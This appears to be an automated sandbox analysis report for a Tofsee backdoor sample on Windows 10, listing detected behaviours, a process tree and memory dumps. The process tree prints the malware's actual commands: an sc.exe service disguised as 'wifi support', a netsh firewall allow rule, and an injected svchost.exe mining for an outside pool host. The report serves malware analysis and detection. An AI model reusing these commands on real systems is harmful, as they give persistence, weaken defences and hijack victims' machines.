Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    12/11/2020, 14:02

General

  • Target
    142e511e48d143633a5f4ab5ae5e1761b3912f5b3202e79ce8c3df71a930f62a.exe
  • Size 10.1MB
  • Sample201112-tb6mj3g656
  • SHA256 142e511e48d143633a5f4ab5ae5e1761b3912f5b3202e79ce8c3df71a930f62a
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 19 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\142e511e48d143633a5f4ab5ae5e1761b3912f5b3202e79ce8c3df71a930f62a.exe
    "C:\Users\Admin\AppData\Local\Temp\142e511e48d143633a5f4ab5ae5e1761b3912f5b3202e79ce8c3df71a930f62a.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:912
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 556
      2⤵
      • Program crash
      PID:3788
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 676
      2⤵
      • Program crash
      PID:3804
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 708
      2⤵
      • Program crash
      PID:3864
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 680
      2⤵
      • Program crash
      PID:2388
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 808
      2⤵
      • Program crash
      PID:3500
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 884
      2⤵
      • Program crash
      PID:3820
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 956
      2⤵
      • Program crash
      PID:572
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qfharari\
      2⤵
        PID:652
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 1004
        2⤵
        • Program crash
        PID:2620
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 680
        2⤵
        • Program crash
        PID:2736
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tbquhfoo.exe" C:\Windows\SysWOW64\qfharari\
        2⤵
          PID:2072
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 848
          2⤵
          • Program crash
          PID:3628
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 1044
          2⤵
          • Program crash
          PID:3156
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qfharari binPath= "C:\Windows\SysWOW64\qfharari\tbquhfoo.exe /d\"C:\Users\Admin\AppData\Local\Temp\142e511e48d143633a5f4ab5ae5e1761b3912f5b3202e79ce8c3df71a930f62a.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2148
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 688
            2⤵
            • Program crash
            PID:3972
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 700
            2⤵
            • Program crash
            PID:2880
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description qfharari "wifi internet conection"
            2⤵
              PID:3980
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 720
              2⤵
              • Program crash
              PID:2252
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 848
              2⤵
              • Program crash
              PID:2568
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start qfharari
              2⤵
                PID:2780
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 1000
                2⤵
                • Program crash
                PID:216
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 540
                2⤵
                • Program crash
                PID:3580
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1060
              • C:\Windows\SysWOW64\qfharari\tbquhfoo.exe
                C:\Windows\SysWOW64\qfharari\tbquhfoo.exe /d"C:\Users\Admin\AppData\Local\Temp\142e511e48d143633a5f4ab5ae5e1761b3912f5b3202e79ce8c3df71a930f62a.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:528
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 528 -s 580
                  2⤵
                  • Program crash
                  PID:1468
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3444
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:524
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 528 -s 596
                  2⤵
                  • Program crash
                  PID:696

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/524-21-0x0000000000A00000-0x0000000000AF1000-memory.dmp

                    memory/528-9-0x0000000000E1C000-0x0000000000E1D000-memory.dmp

                    memory/528-10-0x0000000001250000-0x0000000001251000-memory.dmp

                    memory/912-1-0x00000000012F0000-0x00000000012F1000-memory.dmp

                    memory/912-0-0x0000000000F82000-0x0000000000F85000-memory.dmp

                    memory/3444-12-0x00000000004C0000-0x00000000004D5000-memory.dmp

                    memory/3444-15-0x0000000004350000-0x000000000455F000-memory.dmp

                    memory/3444-16-0x0000000000790000-0x0000000000796000-memory.dmp

                    memory/3444-17-0x00000000007F0000-0x0000000000800000-memory.dmp

                    memory/3444-18-0x0000000000FA0000-0x0000000000FA5000-memory.dmp

                    memory/3444-19-0x00000000089D0000-0x0000000008DDB000-memory.dmp

                    memory/3444-20-0x0000000000FB0000-0x0000000000FB7000-memory.dmp